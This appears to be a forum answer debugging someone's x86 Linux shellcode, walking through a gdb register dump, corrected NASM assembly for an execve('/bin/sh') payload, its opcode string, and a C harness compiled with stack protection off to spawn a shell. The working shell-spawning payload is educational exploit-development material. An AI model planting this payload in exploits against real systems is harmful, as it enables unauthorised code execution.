I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80
)
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV\030pUV$\376\371\367$\376\371\367")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Here we can see a few problems:
- The
EAX
register is not set to 0xb. This is because your shellcode does not clear the values in the register and instead it just sets the lower byte with the instruction mov al, 0xb
- The
EBX
register should be pointing to the char*
with the file you're trying to run (usually it's "/bin/sh"
), instead it's pointing to a random memory position, in this case in the main
function.
- The
ECX
register should be pointing to the array of char*
that indicates the complete command you want to run. In most shellcodes I've seen it's just ["/bin/sh", 0]
, but you may want to use something different such as ["/path/to/binary","-argument1",..., 0]
, in this case you should create that array in memory. In your shellcode ECX
is set to 0x0
- The
EDX
register represents the environment for the execution of the binary. You can take a look at the execve(3) manual page to understand a bit more how it is used, but for our purpose here it's ok to have a NULL
value in it
Now, how can we fix it? Well, first of all we'll need to point EBX
to a "/bin/sh\0" string in a memory portion we can access, f.e. the stack. And we need to do that in our shellcode. We can do it with the following gadget:
xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh\0", so we need to move that pointer to ebx
Then we need to point ECX
to an array of char*
such as ["/bin/sh", 0]
. We already have a part of it in EBX
, so continuing our shellcode we can do the following:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh\0"
Finally, we should set the AL
register to 0xb
and make the syscall. So our final shellcode should look like this:
section .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
We can compile it nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm
, extract the opcodes and put them in the C code to test it:
char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
(*(void(*)())shellcode)();
return 0;
}
Compile it with your favorite compiler, I use gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c
. And run it:
$ ./shellcode.o
sh-4.4$